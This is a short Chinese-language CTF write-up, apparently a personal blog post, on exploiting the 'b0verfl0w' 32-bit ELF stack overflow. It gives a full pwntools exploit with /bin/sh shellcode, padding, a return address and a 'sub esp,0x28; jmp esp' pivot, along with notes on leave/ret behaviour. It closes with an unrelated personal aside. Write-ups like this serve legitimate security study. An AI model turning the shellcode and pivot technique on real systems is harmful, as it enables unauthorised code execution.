b0verfl0w 32位elf文件,安全配置如下:

存在堆棧溢出漏洞,但是棧不大,只有0x38。
看了下exp,比較簡(jiǎn)單的一段exp,還是花了三個(gè)小時(shí),網(wǎng)絡(luò)安全這玩意一直在看,就是沒動(dòng)手,導(dǎo)致基礎(chǔ)不扎實(shí),很多東西看了就忘記,自己寫了下exp標(biāo)注下,先看下棧的分配

io = process(elf.path)
#execv('/bin/sh')
payload = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
###### 存在溢出漏洞的數(shù)組長(zhǎng)度只有0x20,前面一行只有0x15,下面用12個(gè)'b'填充
payload += 'b'*(0x20-len(payload))
#ebp
payload += '\x90'*4
#eip
payload += p32(0x08048504)

#######這段代碼費(fèi)了兩個(gè)小時(shí),記錄一下。上圖為存在溢出漏洞的vul()函數(shù)
溢出后,會(huì)調(diào)用leave和retl,就是這倆指令的費(fèi)了近兩小時(shí)來理解
leave: mov esp,ebp;pop ebp,esp先指向esp,pop ebp后esp指向eip(看exp時(shí)一時(shí)沒反應(yīng)過來pop ebp也會(huì)使esp -4)
ret:pop eip;jmp 同上面一樣,esp也是-4,指向eip后面的內(nèi)存單元,pop eip需要使esp-4也沒有反應(yīng)過來
到此,esp指向eip后面的單元,esp-0x28(0x20(數(shù)組長(zhǎng)度) + 0x4(ebp) + 0x4(eip))到了數(shù)組start,也就是shellcode起始處,jmp esp即開始運(yùn)行shellcode?
payload += asm('sub esp,0x28;jmp esp')
io.send(payload)
io.interactive()
年紀(jì)大了,記性不好,最近調(diào)bilstm + crf代碼,很多tensorflow語法都忘光了,如果讀大學(xué)那伙知道現(xiàn)在的方向,絕對(duì)比現(xiàn)在成就高。